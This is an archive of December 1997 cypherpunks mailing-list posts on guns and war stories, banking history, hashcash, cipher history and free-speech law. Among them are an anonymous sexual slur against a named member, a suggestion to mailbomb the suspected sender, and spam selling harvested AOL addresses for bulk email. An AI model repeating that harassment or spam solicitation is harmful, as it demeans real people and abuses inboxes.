>  For PGP Keys  <mailto:brianbr@together.net?subject=Get%20PGP%20Key>
> 
>  "The illiterate of the 21st century will not be those who cannot read and
>   write, but those who cannot learn, unlearn, and relearn."   -Alvin 
> Toffler
> 
> 



	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Brian B. Riley" <brianbr@together.net>
Date: Wed, 24 Dec 1997 11:46:45 +0800
To: <cypherpunks@toad.com>
Subject: Re: Best Cypherpunk long gun
Message-ID: <199712240341.WAA15907@mx01.together.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On 12/23/97 11:57 AM, Igor Chudov @ home (ichudov@algebra.com)  passed
this wisdom:

>Brian B. Riley wrote:
>>   I had maybe a half dozen occasions where I put four to six 20
>> round mags (the Marines didn't start getting the 30 round mags
>> til the Army got all theirs - sigh!) through my weapon on full
>> auto in rapid succession and never had a jam.
>
>Did it overheat?

 Hot enough to burn exposed skin, but not enough for problems. I think
had I gotten up to seven or eight magazines one after another there
may have been danger of cooking off rounds or even barrel warp. I saw
a an M-2 50 on a Chinook get a barrel warp after 1000 straight rounds
... first the barrel was glowing cherry red in broad daylight then as
it cooled it warped enough that the gunner took it out of action ...
fortunately by that time we had gotten off the ground and were well
airborne on our way back to Danang (hmmmmmm, makes me think, nuthin
good ever did happen out near Thuong Duc and Charlie Ridge!)

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Version: PGP for Personal Privacy 5.0
Charset: noconv

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=6Gm8
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Brian B. Riley --> http://members.macconnect.com/~brianbr
 For PGP Keys  <mailto:brianbr@together.net?subject=Get%20PGP%20Key>

 "The illiterate of the 21st century will not be those who cannot read and
  write, but those who cannot learn, unlearn, and relearn."   -Alvin 
Toffler






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Brian B. Riley" <brianbr@together.net>
Date: Wed, 24 Dec 1997 11:47:15 +0800
To: "Tim May" <cypherpunks@toad.com>
Subject: Re: Best Cypherpunk long gun
Message-ID: <199712240342.WAA15974@mx01.together.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On 12/23/97 12:28 PM, Tim May (tcmay@got.net)  passed this wisdom:

>Also, extreme long-range sniping is increasingly done with .50 
>BMGs, or .338 Lapua, or, at the lower end, .300 Winchester Magnums. 
>In all cases, shot recovery is limited more by the shooter 
>reacquiring the sight picture than by cycling the action, so a 
>semi-auto is mostly a waste of resources.

 In the 60's and early 70's at least, the most accurate 'sniper'
weapon in the military arsenal was the M-2 .50 cal machine gun (Ma
Deuce) with tripod and T/E mechanism and set for single shot fire.
There was a telecopic sight set for it and everything. On a 1st Recon
OP at a place called Hill 200 down river from Thuong Duc in Quang Nam
Province, Charlie liked to run dugouts and other small boats across
the Vu Gia at night and real early morning ... we used to potshot at
them with Ma Deuce from 2-3 klicks away and make good hits. We field
tested some of the first larger starlight scopes and the gave us one
rigged to mount on Ma Deuce, after three nights in a row causing
spectular secondaries Charlie gave up and moved much farther down
river. At the time they never could figure out how we saw them with
almost no moon.

 (interesting sidelight on this matter was that USMC T/O for Recon had
no 50 cals ... so we could not order ammo for it through normal supply
channels ... the only ammo we could get was by trading with the air
wing which meant all we could get was API (armor piercing incendiary)
sopposedly is highly verbotten to shoot at ground troops ... seems it
excessively ruins their afternoons!)

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Brian B. Riley --> http://members.macconnect.com/~brianbr
 For PGP Keys  <mailto:brianbr@together.net?subject=Get%20PGP%20Key>

 "The illiterate of the 21st century will not be those who cannot read and
  write, but those who cannot learn, unlearn, and relearn."   -Alvin 
Toffler






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Brian B. Riley" <brianbr@together.net>
Date: Wed, 24 Dec 1997 12:31:35 +0800
To: "Igor Chudov" <ichudov@Algebra.COM>
Subject: Re: Best Cypherpunk long gun
Message-ID: <199712240421.XAA08371@mx02.together.net>
MIME-Version: 1.0
Content-Type: text/plain



On 12/23/97 11:07 PM, Igor Chudov @ home (ichudov@algebra.com)  passed 
this wisdom:

>the problem is the wear of the barrel
>
>ignoramus
>

 no questio about wear, but I saw the barrel after it colled and it had a 
warp to it. I said 1000 rounds straight and I meant it. They kept linking 
onto the belts and I will bet he didn't let up on the trigger  a dozen 
times through the ten belts .... my LRRP team had stumbled into a bit of 
hornets nest and half the NVA in that end of the province were chasing 
our asses by the time we hitthat LZ. the guy just kept firing til the 
barrel glowed and it did warp slightly when it cooled, enough that he 
didn't want to chance another round down the barrel. my guess is that it 
had been abused more than a few times and the overall temper of the metal 
had chnaged , but for sure there was probably very littel rifling left in 
the barrel as well. I have seen M-60 barrels so worn that they appeared 
to the naked eye as smoothbores.



Brian B. Riley --> http://members.macconnect.com/~brianbr
 For my PGP Keys  <mailto:brianbr@together.net?subject=Get%20PGP%20Key>   
        

  "...error reading WinOS. (A)bort, (R)etry, (M)acintosh?"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 24 Dec 1997 12:43:29 +0800
To: cypherpunks@cyberpass.net
Subject: Ancient Banking History
Message-ID: <v0400270bb0c63ffb9295@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


X-Authentication-Warning: fma66.fma.com: majordomo set sender to
owner-espam@lists.espace.net using -f
X-Orig-From: Frank Sudia <aurelius@panix.com>
X-e$pam-source: bounce-dcsb@ai.mit.edu
X-Sender: rah@pop.sneaker.net
Mime-Version: 1.0
Date: Tue, 23 Dec 1997 08:45:55 -0500
To: espam@intertrader.com
From: Robert Hettinga <rah@shipwright.com>
Subject: Ancient Banking History
Sender: owner-espam@lists.espace.net
Precedence: bulk
Reply-To: e$@thumper.vmeng.com

---------------------------------------------------------------------
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From: Frank Sudia <aurelius@panix.com>
To: Digital Commerce Society of Boston <dcsb@ai.mit.edu>
cc: Kawika Daguio <kdaguio@aba.com>, Richard Field <field@pipeline.com>,
        Stewart Baker <sbaker@ns.steptoe.com>,
        Frank Sudia <frank.sudia@bankerstrust.com>,
        Bernard Frischer <frischer49@aol.com>
Subject: Ancient Banking History
MIME-Version: 1.0
Sender: bounce-dcsb@ai.mit.edu
Precedence: bulk
Reply-To: Frank Sudia <aurelius@panix.com>

Dear Friends,

 One key problem facing many who seek to reinvent tha banking system is
 that they are only dimly acquainted with banking.  Indeed many of us who
 work for banks also suffer this problem, because banking has become so
 encrusted with concepts from different eras that it's difficult to tell
 what is fundamental.

 So whilst we are attempting reinvent ourselves it might behoove us to get
 back to basics, which is what you get from "Athenian Society & Economy: A
 Banking Perspective," by Edward E. Cohen, Princeton, 1992.  (Amazon)

 Drawing on empricial evidence, Cohen presents an intensive study of
 Athenian banking practices during the 80 year period between the defeat of
 Athens in the Peloponnesian Wars and the death of Alexander the Great in
 323 BC. First he debunks the myth that there were no commercial loans, and
 then goes on to adduce complex banking transactions carried on with only a
 bag of silver coins and a table ("trapeza" in Greek, "banc(h)a" in Italian
 and most other languages).  According to Demosthenes, a trapeza is "a
 business operation producing a risk-laden return from other people's
 money."  Seeing these transactions arising in their simplest forms is very
 instructive, because it shows you what really matters about them.

 The trapeza took deposits and made loans, some of the proceeds of which
 were redeposited (and reloaned), thus expanding the money supply without
 fiat currency.  There was zero government regulation!  There were no
 checks, as payors and payees all showed up in person.  There were bills of
 exchange to minimize transport of coins.  There were 6,000 drachmas in a
 talent, and (I think) 20 drachmas in a Cyzicene stater, another popular
 big coin.  Much of the business was undisclosed, to help clients reduce
 taxes, escape judgements, etc. Notions of interest were different: 1% a
 month for landed loans, 18-100% (per voyage) for maritime loans. Etc...

 I'm only part way thought it, but thought I would share this info, for all
 you history buffs out there.

 Cheers,
 Frank

 --------------------------------------------------------------
 	Frank W. Sudia, Consultant, BT Strategic Ventures
 	1 Bankers Trust Plaza, MS 2371, New York, NY 10006
 	Tel: 212-250-5242  Fax: 212-250-9347  Home: 212-809-5150
 	frank.sudia@bankerstrust.com
 --------------------------------------------------------------



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----------------------------------------------------------------------
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For e$/e$pam contributions or sponsorship:  <mailto:rah@shipwright.com>
----------------------------------------------------------------------

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 24 Dec 1997 13:41:03 +0800
To: cypherpunks@toad.com
Subject: Re: Best Cypherpunk long gun (fwd)
In-Reply-To: <Pine.BSF.3.91.971223072037.962C-100000@mcfeely.bsfs.org>
Message-ID: <0ka8He59w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Rabid Wombat <wombat@mcfeely.bsfs.org> writes:

> Sorry for following the off-topic thread. I was going to throw in some
> ascii art, but I gotta go mix up some rum punch and stir the C4, or vice-
> versa.


Here's a christmas card for all the gun nuts on this list...


                                       """""""
                                       |""""""
                         _________     O   C""
                        //-------\\   /_     \
L______________||O-----------------\   |____/_\ /
-----------------||||| =========== /\ ____\    v|\
                  OOOO-L______________          /
                    --____||||___\<
                          ||||    (|-- |
                          ----
      ----.
     "   _}
     "@   >
     |\   7
     / `-- _         ,-------,****
  ~    >o<  \---------o{___}-
 /  |  \  /  ________/8'
 |  |       /         "
 |  /      |


    ___________  || o   > =====| === \
 ~Y/ =====-__|~==\|   U > ===   BULLET>
   / |L)~~~       \  ___ > ===== / === }
   |_|     BAM!    \_____/



     \         _            /
         \    |#|      /
            \ |#| /
    \       @#####@      ______
__    __  (###   ###)-.
        .(###     ###) \  ---
   /   /  (###   ###)   )  _____
    / (=-  .@#####@|_--"
   /  /\    \_|l|_/ (\
  /  (=-\     |l|    /  \
 /    \  \.___|l|___/    \
      /\      |_|   /
     (=-\._________/\
      \             /
       \.__________/
           #       #
           #       #
           \#######/

That's all I got... Sorry it ain't as good as the Timmy pictures.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 24 Dec 1997 13:41:04 +0800
To: cypherpunks@toad.com
Subject: Re: It's the usual Libertarians-vs-Statists flame war!  Re:
In-Reply-To: <3.0.3.32.19971223190836.006f87c0@popd.ix.netcom.com>
Message-ID: <1ua8He61w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



"bill.stewart@pobox.com" <stewarts@ix.netcom.com> writes:
> And by the way, none of this has to do with whether governments can
> require corporations not to have their employees act rudely.
> Corporations are a fictional creature whose existence is a favor
> from the government to the owners, and they can tie whatever strings
> they want to onto the favor when they grant it.  Whether granting

That's an interesting legal theory. I recall that when RSA (the republic
of south africa, not the company) mandated racial discrimination in workplace,
various US companies doing business there refused, and RSA didn't give them
any trouble (probably because they'd rather have them violate their laws than
leave altogether). Now, suppose a corporation incorporated someplace where
it's legal to refuse to hire coloreds opens an office in the US - is it not
subject to the same laws as the corporations from one of the 50 states
because it's so foreign??

> favors to bunches of owners is a State or Federal job,
> or whether it's Nobody's job, the owners can do what they're told
> or have their favor vanish in a puff of greasy orange smoke
> and still not have a cause of action for complaining about it.
> Companies run by partnerships and the business activities of
> individuals are a separate issue, unless they're selling to the
> government, which also makes them fair game.

Hmm! There are some pretty big partnerships. I used to be employed by GS
and by C&L, both of which are partnerships. Do you mean
they could discriminate against coloreds if they wanted to? I thought it
goes by the number of employees.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: berezina@qed.net (Paul Spirito)
Date: Wed, 24 Dec 1997 11:33:49 +0800
To: Tim May <tcmay@got.net>
Subject: Re: SPECIAL REPORT: Censorware in the Stacks
In-Reply-To: <v03007800b0c4336d8c2e@[204.254.22.15]>
Message-ID: <34a07f77.1933580@mail.qed.net>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 22 Dec 1997 21:15:42 -0700, Tim May wrote:

>If the state-as-employer insists that English be spoken in offices, is this
>an infringement of First Amendment rights in even remotely the same way as
>if the state-as-sovereign illegalized the speaking of Portugese in Texas
>(or anyplace else that was not a state-as-employer office)?

But you seem to have gone beyond this to advocate that the State be able --
without 1A restrictions -- to forbid the speaking of Portuguese anywhere on
public property, even by private citizens. 

Paul





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mix <mixmaster@remail.obscura.com>
Date: Wed, 24 Dec 1997 20:13:09 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199712241151.DAA02780@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May has been beaten up numerous times by fellow prostitutes for driving blow 
job prices down.

  _
 {~}
( V-) Tim May
'|Y|'
_|||_





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Wed, 24 Dec 1997 07:26:29 +0800
To: David Honig <honig@otc.net>
Subject: Re: Freedom Forum report on the State of the First Amendment
In-Reply-To: <3.0.5.32.19971223134123.007e07f0@otc.net>
Message-ID: <Pine.LNX.3.93.971224084459.137A-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Tue, 23 Dec 1997, David Honig wrote:

> At 02:37 PM 12/23/97 -0500, Colin Rafferty wrote:
> >
> >You are not being coerced into anything.  If you don't want to serve
> >food to Blacks, don't open a restaurant.  It's your choice.
> 
> Where do you get the right to tell others how they can make a living?

If you open a reseteront there are a whole lot of rules you must follow.
You have to come up to food hygean standards,  accebility for the
disabled, and other such things.

[...]

> Private behavior is private behavior, and trade is a private behavior.

Trade is public behavior,  you deal with the public.

Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett.

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQCVAwUBNKAx/KQK0ynCmdStAQHxcAQAqcq06z+xkNmcjhP70oxTQR/MNM85jB4H
v+qimfrf8yirTBnj3SzDEcURRK6CYD0+hHK3kt8/xliwKO1Wx7hxLHS4hjooWn5P
NwjoC4VuSsbxqB5/8Pnm5vACuHTfsofsU9Bn9dZdsCpMGV0t1b5oUTg4H6aEjKz2
BeZEFW+9hmQ=
=8b/M
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: amp@pobox.com
Date: Wed, 24 Dec 1997 17:00:43 +0800
To: cypherpunks@cyberpass.net
Subject: Javascript Encryption/Decryption
Message-ID: <Chameleon.882971724.amp@rcnu3077>
MIME-Version: 1.0
Content-Type: text/plain



The Javascript page at infohiway has posted a javascript implementation of 
simple encryption for the web.

http://www.infohiway.com/javascript/indexf.htm

This would be interesting if it had a real crypto algorithm in it like 
IDEA.


===from their page===
Welcome to the ISN‰ Web Developer's Cut-N-Paste JavaScript,
Perl and Plug-ins Toolbox!

http://www.infohiway.com/javascript

Featuring more than 189 FREE JavaScripts you can simply paste
into your HTML! Plus we have some Cut-N-Paste Perl and CSS
scattered around the site, too!


Cut-N-Paste JavaScript Home / Encryption Scheme

 This little script is really easy to use. Just paste in your message and
you get back your encrypted message... relatively quickly. So long as the 
recipient has the same JavaScript app as you do, decryption will work.

 The sample on this page is of a 4-Bit encryption open architecture scheme 
using only JavaScript. Although designed primarily for encryption of shorty 
emails, the same notion could be used to protect confidential dealer price 
lists, etc. on your public pages.

 Encryption is not just a matter of "jumbling letters". Any amateur 
cryptographer has a whole lot more tricks than that up his sleeve.

 First, our little sample programs permit you to use a key letter, a key 
word or a key phrase of your own devising. What length? You decide. Since 
the length is unknown, we've created a first problem for anyone attempting 
to decrypt it.

 Secondly, they are ultimately recursive. Meaning that you can recursively 
encrypt encrypted materials as many times as you wish. Only you and the 
recipient know how many times. Another problem for the "great decryptor".

 Finally, you can really be sneaky about the key phrases you use. For 
example, you might agree that the key phrase will be the seventh line on 
page 13 of Catcher in the Rye. (Seventh month, thirteenth day) Or you might 
grab the 13th line on a page at a specific URL for this month. Or the lead 
headline from the ABC News Home Page for today.

 If you download this little script to your hard drive, even if the boss 
finds it, it does him/her absolutely no good whatsoever in decrypting your 
email, because the key phrases are absolutely necessary to the decryption 
of encrypted messages.




===
E-mail: amp@pobox.com
Date: 12/24/97
Time: 08:50:10
Visit me at http://www.pobox.com/~amp

     -export-a-crypto-system-sig -RSA-3-lines-PERL
#!/bin/perl -sp0777i<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<j]dsj
$/=unpack('H*',$_);$_=`echo 16dio\U$k"SK$/SM$n\EsN0p[lN*1
lK[d2%Sa2/d0$^Ixp"|dc`;s/\W//g;$_=pack('H*',/((..)*)$/)

Have you seen  http://www.public-action.com/SkyWriter/WacoMuseum
===






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: rcfuzz@aol.com
Date: Thu, 25 Dec 1997 10:47:20 +0800
To: cypherpunks@toad.com
Subject: Re: Opportunity knocks
In-Reply-To: <e9VP28bC9GA.104@upnetnews03>
Message-ID: <rcfuzz-2212971631140001@client-123-80.bellatlantic.net>
MIME-Version: 1.0
Content-Type: text/plain



Get started in Bulk Email without spending a fortune!

Over 500,000 AOL EMAIL ADDRESSES 
on disk for only $5.00 (including shipping.)

Addresses come on 5 .ZIP files are in single line text format
and are easily imported or pasted into your favorite
email program.

These addresses can be used by DOS, WINDOWS and MAC users.

Please send CHECK or MONEY ORDER for $5.00 to:

Bob Cauttero Productions, Inc.
214 West Shore Road
Harrington Park, NJ 07640

Please include your email address if you want to receive a shipping
confirmation.

For RUSH DELIVERY (Same Day Shipping), please add $1.00 ($6.00 Total)

For a FREE sample1000 address file, REPLY to this message with the word
SAMPLE in the SUBJECT BOX.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: phelix@vallnet.com
Date: Thu, 25 Dec 1997 03:23:24 +0800
To: cypherpunks@Algebra.COM
Subject: Re: hashcash spam prevention & firewalls
In-Reply-To: <3.0.3.32.19971218120500.00707254@popd.ix.netcom.com>
Message-ID: <34a4cc37.203592456@128.2.84.191>
MIME-Version: 1.0
Content-Type: text/plain



On 22 Dec 1997 14:15:31 -0600, Adam Back <aba@dcs.ex.ac.uk> wrote:

>The more thorny problem to solve is that posed by Robert Costner: what
>do you do about nyms.  You (the sender) can't include postage for nym
>reply blocks because you don't know (and mustn't know) the remailer
>chain pointed to by the reply block.

Could you throw hashcash into the reply block?  This would, of course, make
reply blocks non-reusable. 

Perhaps all remailers could agree to accept hashcash made out to a generic
name like "remailer".  This way, the sender can just generate X coins
without worrying about which remailers the message would go through.  The
only problem is that the sender would have to know how many coins to
generate.

Actually, if the message never went through the same remailer twice, only
one coin would needed.  Set up the remailers so that they don't strip away
a coin made out to "remailer".  There could be problems with tracking the
message though.


>
>> Mailing lists are still hard, and perhaps best handled by the user's
>> software (or some fancy variant like user-selectable filters at the
>> ISP mailbox.)
>
>I think it's simplest to have the user explicitly allow the mailing
>list.
>
>You could possibly auto detect the pattern of a user subscribing to a
>mailing list at the mail filter level also.
>

Each user will probably have a list of names that he will accept coins for.
Mail sent to a listserver could have a coin made out to
"listserver@foo.bar".  The listserver could, after checking the coin,
simply pass that coin along with the message to everyone subscribed on the
list.  The end user will receive a coin made out to "listserver@foo.bar".
If that name is on his list, the coin will be checked; otherwise the
message is automatically dropped/bounced/whatever.

This way, the listserver is never burdened with generating hashcash; but
those who send messages to the list are (but they only have to generate one
coin for each message).

-- Phelix





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: David Honig <honig@otc.net>
Date: Thu, 25 Dec 1997 01:39:49 +0800
To: "fight-censorship@vorlon.mit.edu
Subject: Re: It's the usual Libertarians-vs-Statists flame war!  Re:  Freedom Forum report on the State of the First Amendment
In-Reply-To: <3.0.3.32.19971223190836.006f87c0@popd.ix.netcom.com>
Message-ID: <3.0.5.32.19971224090132.007d7280@otc.net>
MIME-Version: 1.0
Content-Type: text/plain



At 07:08 PM 12/23/97 -0800, bill.stewart@pobox.com wrote:
>We're pretty far off topic for both fight-censorship and cypherpunks,
>aren't we?  There's a bit more excuse on fight-censorship, since
>censoring racists vs. freely publishing hate speech is a core issue there;
>the cypherpunks content is mostly limited to "In cypherspace, nobody can
>hear you flame" and technologies for protecting freedom of speech and
>association from censors, racists, and other statists.

Until recently in this thread, the Subject line remained the same, and if
you'll look
you'll find the letter 'k' to the left of the 'l' key.



If the director of counterintel at the CIA cost the Soviets only
$1.5million (wife included),
how much will your company's key-escrow agent cost?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: David Honig <honig@otc.net>
Date: Thu, 25 Dec 1997 01:39:44 +0800
To: cypherpunks@toad.com
Subject: computer modelling of cryptanalytic thought processes (references)
Message-ID: <3.0.5.32.19971224092430.007dc490@otc.net>
MIME-Version: 1.0
Content-Type: text/plain




I was reading the Military Cryptanalysis Field Manual 
at ftp://ftp.ox.ac.uk/pub/crypto/cryptanalysis/ basic_cryptanalysis.ps.tar.gz
and was reminded of a book I had partly read a while ago, Doug Hofstadter's
_Fluid Concepts & Creative Analogies : Computer Models of the Fundamental
Mechanisms of Thought_
(http://www.amazon.com/exec/obidos/ISBN=0465024750/r/0509-6726066-321937).

'Hofstadter and his colleagues created a variety of computer programs that
extrapolate sequences, 
apply pattern-matching strategies, make analogies, and even act "creative."
'  

For instance, he developes a 
model that solves a type of newspaper-puzzle cryptogram.

The interplay between levels of abstraction ---recognizing words in the
plaintext language, 
and reconstructing the key together from statistical and other constraints
(Ch. 4)--- is what's 
similar between Hofstadter's model and what the field manual describes.

Caveats: Hofstadter's book is very dry.  The Field Manual only mentions
that computers may be useful,
and gives advice that may have been useful 70 years ago.





------------------------------------------------------------
      David Honig                   Orbit Technology
     honig@otc.net                  Intaanetto Jigyoubu

"Windows 95 is a technologically complex product that is best left alone by
the government..."
 ---MSFT Atty B. Smith
















From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Thu, 25 Dec 1997 02:20:04 +0800
To: Mix <mixmaster@remail.obscura.com>
Subject: Re: your mail
In-Reply-To: <199712241151.DAA02780@sirius.infonex.com>
Message-ID: <Pine.A41.3.95.971224110953.88280A-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain





I think Vulis needs each of us to send ten copies of this back to him.


On Wed, 24 Dec 1997, Mix wrote:


> Tim May has been beaten up numerous times by fellow prostitutes for driving blow 
> job prices down.
> 
>   _
>  {~}
> ( V-) Tim May
> '|Y|'
> _|||_
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : <real@freenet.edmonton.ab.ca> : <ab756@freenet.toronto.on.ca>
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mixmaster <mixmaster@remail.obscura.com>
Date: Thu, 25 Dec 1997 03:53:53 +0800
To: cypherpunks@Algebra.COM
Subject: Best Cypherpunk War Text
Message-ID: <199712241940.LAA22619@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



The "lock and load," "Best Cypherpunk long gun" and other similar threads
have gotten me thinking.

Can any fellow Cypherpunks suggest any books or documents on the net
concerning urban warfare, generic non-urban warfare (e.g. plains),
differences between weapons, suggestions, etc. Basically a survivalist's
almanac, I suppose.

Threat model: For whatever reason the U.S. just collapsed. Civil war is
imminent and there is little or no civility in the streets. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@Algebra.COM (Igor Chudov @ home)
Date: Thu, 25 Dec 1997 03:19:09 +0800
To: anon@squirrel.owl.de (Secret Squirrel)
Subject: Re: Best Cypherpunk War Text
In-Reply-To: <0fbfd3a030778913888de9b2f48b8c35@squirrel>
Message-ID: <199712241914.NAA05051@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text



<A HREF=http://www.atsc-army.org/atdls.html> Army Manuals</A>

go to field manuals

you can find all you want and more

igor

Secret Squirrel wrote:
> 
> 
> The "lock and load," "Best Cypherpunk long gun" and other similar threads
> have gotten me thinking.
> 
> Can any fellow Cypherpunks suggest any books or documents on the net
> concerning urban warfare, generic non-urban warfare (e.g. plains),
> differences between weapons, suggestions, etc. Basically a survivalist's
> almanac, I suppose.
> 
> Threat model: For whatever reason the U.S. just collapsed. Civil war is
> imminent and there is little or no civility in the streets. 
> 



	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: cypherpunks@toad.com
Date: Thu, 25 Dec 1997 06:39:51 +0800
To: cypherpunks@toad.com
Subject: Request_for_quotation
Message-ID: <199712242231.OAA02038@toad.com>
MIME-Version: 1.0
Content-Type: text/plain

Att. Sales / Export Department

Re: Request for quotation

A RFQ for products which, to the best of our knowledge are similar to
those offered by you ,was placed with us by one of our clients.

We are a  world wide sourcing firm and we are paid by our clients to
find them suitable suppliers . 

To you ,our service is totally free of charge !!!   

The information we will get from you will not only be immediately sent
to this particular client but also to all other clients looking for
similar products .
 
To define and advise us  the  products you are interested to export
and/or to get more information about us and our FREE  SERVICE , please
use our Internet interface at: http://www.thebol.com

Best Regards

theBOL - Purchasing Department





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Thu, 25 Dec 1997 05:07:59 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Civil War Crypto Question... (fwd)
Message-ID: <199712242128.PAA30218@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Wed, 24 Dec 1997 15:35:00 -0500
> From: John Young <jya@pipeline.com>
> Subject: Re: Civil War Crypto Question...

> Jim Choate wrote:
> 
> >Myer implimented including a 'cipher disk' whereby the Union was able to
> >change their telegraph codes on an hourly schedule. It was apparently very
> >effictive in dealing with taps and such.
> >
> >Anyone know of another source that discusses this disk?
> 
> Myer's code and cipher disk (with illustration) are briefly described
> in Fred Wrixon's "Codes and Ciphers" along with an entry on
> Civil War crypto with a photo of a Confederate cipher disk.
> 
> We've put the entries and illustrations at:
> 
>    http://jya.com/cydisk.htm
> 
> The book is:
> 
>    "Codes and Ciphers: An A to Z of Covert Communication, 
>    from the Clay Tablet to the Microdot,"
>    Fred B. Wrixon, Prentice Hall, 1992, paper. $18.00 
>    ISBN 0-13-277047-4

Thank you, thank you, thank you. I'll order a copy from the local bookstore
today!

Merry Christmas!


    ____________________________________________________________________
   |                                                                    |
   |      Those who make peaceful revolution impossible will make       |
   |      violent revolution inevitable.                                |
   |                                                                    |
   |                                          John F. Kennedy           |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 25 Dec 1997 04:43:06 +0800
To: Jim Choate <ravage@ssz.com>
Subject: Re: Civil War Crypto Question...
Message-ID: <1.5.4.32.19971224203500.006f4cac@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Jim Choate wrote:

>Myer implimented including a 'cipher disk' whereby the Union was able to
>change their telegraph codes on an hourly schedule. It was apparently very
>effictive in dealing with taps and such.
>
>Anyone know of another source that discusses this disk?

Myer's code and cipher disk (with illustration) are briefly described
in Fred Wrixon's "Codes and Ciphers" along with an entry on
Civil War crypto with a photo of a Confederate cipher disk.

We've put the entries and illustrations at:

   http://jya.com/cydisk.htm

The book is:

   "Codes and Ciphers: An A to Z of Covert Communication, 
   from the Clay Tablet to the Microdot,"
   Fred B. Wrixon, Prentice Hall, 1992, paper. $18.00 
   ISBN 0-13-277047-4






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: The Sheriff <sheriff@speakeasy.org>
Date: Thu, 25 Dec 1997 05:59:07 +0800
To: Colin Rafferty <fight-censorship@vorlon.mit.edu
Subject: Re: Freedom Forum report on the State of the First Amendment
In-Reply-To: <David Honig's message of "Tue, 23 Dec 1997 11:10:38 -0800">
Message-ID: <l03020905b0c71912dc2f@[209.130.131.207]>
MIME-Version: 1.0
Content-Type: text/plain



>> Where do you get the right to tell others how they can make a living?
>
>I don't have that right.  However, the Supreme Court has said that the
>Congress has that right.

If you would be so kind as to a) specify that supreme court ruling,
and b) identify an online resource where I can obtain the text of
that decision, so that I can 1) confirm or deny your allegation, and
